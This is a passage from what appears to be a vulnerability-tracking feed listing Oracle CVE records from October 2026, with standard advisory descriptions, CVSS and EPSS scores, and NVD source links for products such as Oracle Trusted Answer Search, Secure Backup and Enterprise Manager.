Vulnerability in Oracle Autonomous Health Framework (component: Trace File Analyzer).  Supported versions that are affected are 26.3-26.8. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Autonomous Health Framework executes to compromise Oracle Autonomous Health Framework.  Successful attacks of this vulnerability can result in takeover of Oracle Autonomous Health Framework. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Secure Backup (component: Backup and Restore).
https://kevwire.com/record/CVE-2026-101479
Vulnerability in Oracle Secure Backup (component: Backup and Restore). (Oct 20, 2026).
Vulnerability in Oracle Secure Backup (component: Backup and Restore).  Supported versions that are affected are 19.1.0.0.0 and   19.1.0.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Secure Backup.  While the vulnerability is in Oracle Secure Backup, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Secure Backup. CVSS 3.1 Base Score 8.6 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).
CVSS 8.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101479).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101479&date=2026-10-25).
Sources:
NVD CVE-2026-101479: https://nvd.nist.gov/vuln/detail/CVE-2026-101479
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101479&date=2026-10-25
Vulnerability in Oracle Secure Backup (component: Backup and Restore).  Supported versions that are affected are 19.1.0.0.0 and   19.1.0.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Secure Backup.  While the vulnerability is in Oracle Secure Backup, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Secure Backup. CVSS 3.1 Base Score 8.6 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle REST Data Services (component: Core).
https://kevwire.com/record/CVE-2026-101494
Vulnerability in Oracle REST Data Services (component: Core). (Oct 20, 2026).
Vulnerability in Oracle REST Data Services (component: Core).  Supported versions that are affected are 24.2.0-26.2.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle REST Data Services.  While the vulnerability is in Oracle REST Data Services, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle REST Data Services accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
CVSS 7.7 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101494).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101494&date=2026-10-25).
Sources:
NVD CVE-2026-101494: https://nvd.nist.gov/vuln/detail/CVE-2026-101494
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101494&date=2026-10-25
Vulnerability in Oracle REST Data Services (component: Core).  Supported versions that are affected are 24.2.0-26.2.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle REST Data Services.  While the vulnerability is in Oracle REST Data Services, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle REST Data Services accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM Development product of Oracle Siebel CRM (component: Siebel Approval Manager).
https://kevwire.com/record/CVE-2026-101495
Vulnerability in the Siebel CRM Development product of Oracle Siebel CRM (component: Siebel Approval Manager). (Oct 20, 2026).
Vulnerability in the Siebel CRM Development product of Oracle Siebel CRM (component: Siebel Approval Manager).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Development.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Siebel CRM Development. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101495).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101495&date=2026-10-25).
Sources:
NVD CVE-2026-101495: https://nvd.nist.gov/vuln/detail/CVE-2026-101495
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101495&date=2026-10-25
Vulnerability in the Siebel CRM Development product of Oracle Siebel CRM (component: Siebel Approval Manager).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Development.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Siebel CRM Development. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Trusted Answer Search (component: PLSQL package).
https://kevwire.com/record/CVE-2026-101498
Vulnerability in Oracle Trusted Answer Search (component: PLSQL package). (Oct 20, 2026).
Vulnerability in Oracle Trusted Answer Search (component: PLSQL package).   The supported version that is affected is 26.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise Oracle Trusted Answer Search.  Successful attacks of this vulnerability can result in takeover of Oracle Trusted Answer Search. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101498).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101498&date=2026-10-25).
Sources:
NVD CVE-2026-101498: https://nvd.nist.gov/vuln/detail/CVE-2026-101498
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101498&date=2026-10-25
Vulnerability in Oracle Trusted Answer Search (component: PLSQL package).   The supported version that is affected is 26.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise Oracle Trusted Answer Search.  Successful attacks of this vulnerability can result in takeover of Oracle Trusted Answer Search. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Trusted Answer Search (component: PLSQL package).
https://kevwire.com/record/CVE-2026-101501
Vulnerability in Oracle Trusted Answer Search (component: PLSQL package). (Oct 20, 2026).
Vulnerability in Oracle Trusted Answer Search (component: PLSQL package).   The supported version that is affected is 26.1. Easily exploitable vulnerability allows low privileged attacker with network access via Oracle Net to compromise Oracle Trusted Answer Search.  While the vulnerability is in Oracle Trusted Answer Search, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Trusted Answer Search accessible data as well as  unauthorized read access to a subset of Oracle Trusted Answer Search accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Trusted Answer Search. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H).
CVSS 9.9 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101501).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101501&date=2026-10-25).
Sources:
NVD CVE-2026-101501: https://nvd.nist.gov/vuln/detail/CVE-2026-101501
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101501&date=2026-10-25
Vulnerability in Oracle Trusted Answer Search (component: PLSQL package).   The supported version that is affected is 26.1. Easily exploitable vulnerability allows low privileged attacker with network access via Oracle Net to compromise Oracle Trusted Answer Search.  While the vulnerability is in Oracle Trusted Answer Search, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Trusted Answer Search accessible data as well as  unauthorized read access to a subset of Oracle Trusted Answer Search accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Trusted Answer Search. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Trusted Answer Search (component: PLSQL package).
https://kevwire.com/record/CVE-2026-101503
Vulnerability in Oracle Trusted Answer Search (component: PLSQL package). (Oct 20, 2026).
Vulnerability in Oracle Trusted Answer Search (component: PLSQL package).   The supported version that is affected is 26.1. Easily exploitable vulnerability allows low privileged attacker with network access via Oracle Net to compromise Oracle Trusted Answer Search.  While the vulnerability is in Oracle Trusted Answer Search, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Trusted Answer Search. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
CVSS 9.9 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101503).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101503&date=2026-10-25).
Sources:
NVD CVE-2026-101503: https://nvd.nist.gov/vuln/detail/CVE-2026-101503
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101503&date=2026-10-25
Vulnerability in Oracle Trusted Answer Search (component: PLSQL package).   The supported version that is affected is 26.1. Easily exploitable vulnerability allows low privileged attacker with network access via Oracle Net to compromise Oracle Trusted Answer Search.  While the vulnerability is in Oracle Trusted Answer Search, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Trusted Answer Search. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Trusted Answer Search (component: Application expert UI).
https://kevwire.com/record/CVE-2026-101504
Vulnerability in Oracle Trusted Answer Search (component: Application expert UI). (Oct 20, 2026).
Vulnerability in Oracle Trusted Answer Search (component: Application expert UI).   The supported version that is affected is 26.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Trusted Answer Search.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Trusted Answer Search, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Trusted Answer Search accessible data as well as  unauthorized update, insert or delete access to some of Oracle Trusted Answer Search accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N).
CVSS 7.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101504).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101504&date=2026-10-25).
Sources:
NVD CVE-2026-101504: https://nvd.nist.gov/vuln/detail/CVE-2026-101504
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101504&date=2026-10-25
Vulnerability in Oracle Trusted Answer Search (component: Application expert UI).   The supported version that is affected is 26.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Trusted Answer Search.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Trusted Answer Search, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Trusted Answer Search accessible data as well as  unauthorized update, insert or delete access to some of Oracle Trusted Answer Search accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Trusted Answer Search (component: Application expert UI).
https://kevwire.com/record/CVE-2026-101505
Vulnerability in Oracle Trusted Answer Search (component: Application expert UI). (Oct 20, 2026).
Vulnerability in Oracle Trusted Answer Search (component: Application expert UI).   The supported version that is affected is 26.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Trusted Answer Search.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Trusted Answer Search, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Trusted Answer Search accessible data as well as  unauthorized access to critical data or complete access to all Oracle Trusted Answer Search accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).
CVSS 8.7 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101505).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101505&date=2026-10-25).
Sources:
NVD CVE-2026-101505: https://nvd.nist.gov/vuln/detail/CVE-2026-101505
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101505&date=2026-10-25
Vulnerability in Oracle Trusted Answer Search (component: Application expert UI).   The supported version that is affected is 26.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Trusted Answer Search.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Trusted Answer Search, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Trusted Answer Search accessible data as well as  unauthorized access to critical data or complete access to all Oracle Trusted Answer Search accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Trusted Answer Search (component: Application expert UI).
https://kevwire.com/record/CVE-2026-101506
Vulnerability in Oracle Trusted Answer Search (component: Application expert UI). (Oct 20, 2026).
Vulnerability in Oracle Trusted Answer Search (component: Application expert UI).   The supported version that is affected is 26.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Trusted Answer Search.  While the vulnerability is in Oracle Trusted Answer Search, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Trusted Answer Search accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
CVSS 7.7 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101506).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101506&date=2026-10-25).
Sources:
NVD CVE-2026-101506: https://nvd.nist.gov/vuln/detail/CVE-2026-101506
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101506&date=2026-10-25
Vulnerability in Oracle Trusted Answer Search (component: Application expert UI).   The supported version that is affected is 26.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Trusted Answer Search.  While the vulnerability is in Oracle Trusted Answer Search, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Trusted Answer Search accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Agent Next Gen).
https://kevwire.com/record/CVE-2026-101518
Vulnerability in the Oracle Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Agent Next Gen). (Oct 20, 2026).
Vulnerability in the Oracle Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Agent Next Gen).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Enterprise Manager Base Platform.  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager Base Platform. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101518).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101518&date=2026-10-25).
Sources:
NVD CVE-2026-101518: https://nvd.nist.gov/vuln/detail/CVE-2026-101518
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101518&date=2026-10-25
Vulnerability in the Oracle Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Agent Next Gen).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Enterprise Manager Base Platform.  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager Base Platform. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: All Miscellaneous EDI Issues).
https://kevwire.com/record/CVE-2026-101519
Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: All Miscellaneous EDI Issues). (Oct 20, 2026).
Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: All Miscellaneous EDI Issues).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle EDI Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle EDI Gateway. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101519).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101519&date=2026-10-25).
Sources:
NVD CVE-2026-101519: https://nvd.nist.gov/vuln/detail/CVE-2026-101519
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101519&date=2026-10-25
Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: All Miscellaneous EDI Issues).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle EDI Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle EDI Gateway. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Enterprise Manager for Siebel product of Oracle Enterprise Manager (component: Configuration Management).
https://kevwire.com/record/CVE-2026-101525
Vulnerability in the Oracle Enterprise Manager for Siebel product of Oracle Enterprise Manager (component: Configuration Management). (Oct 20, 2026).
Vulnerability in the Oracle Enterprise Manager for Siebel product of Oracle Enterprise Manager (component: Configuration Management).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Enterprise Manager for Siebel.  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager for Siebel. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101525).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101525&date=2026-10-25).
Sources:
NVD CVE-2026-101525: https://nvd.nist.gov/vuln/detail/CVE-2026-101525
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101525&date=2026-10-25
Vulnerability in the Oracle Enterprise Manager for Siebel product of Oracle Enterprise Manager (component: Configuration Management).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Enterprise Manager for Siebel.  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager for Siebel. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Enterprise Manager for Siebel product of Oracle Enterprise Manager (component: Configuration Management).
https://kevwire.com/record/CVE-2026-101526
Vulnerability in the Oracle Enterprise Manager for Siebel product of Oracle Enterprise Manager (component: Configuration Management). (Oct 20, 2026).
Vulnerability in the Oracle Enterprise Manager for Siebel product of Oracle Enterprise Manager (component: Configuration Management).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Enterprise Manager for Siebel.  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager for Siebel. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101526).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101526&date=2026-10-25).
Sources:
NVD CVE-2026-101526: https://nvd.nist.gov/vuln/detail/CVE-2026-101526
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101526&date=2026-10-25
Vulnerability in the Oracle Enterprise Manager for Siebel product of Oracle Enterprise Manager (component: Configuration Management).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Enterprise Manager for Siebel.  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager for Siebel. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Enterprise Manager Install).
https://kevwire.com/record/CVE-2026-101527
Vulnerability in the Oracle Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Enterprise Manager Install). (Oct 20, 2026).
Vulnerability in the Oracle Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Enterprise Manager Install).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Enterprise Manager Base Platform executes to compromise Oracle Enterprise Manager Base Platform.  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager Base Platform. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101527).
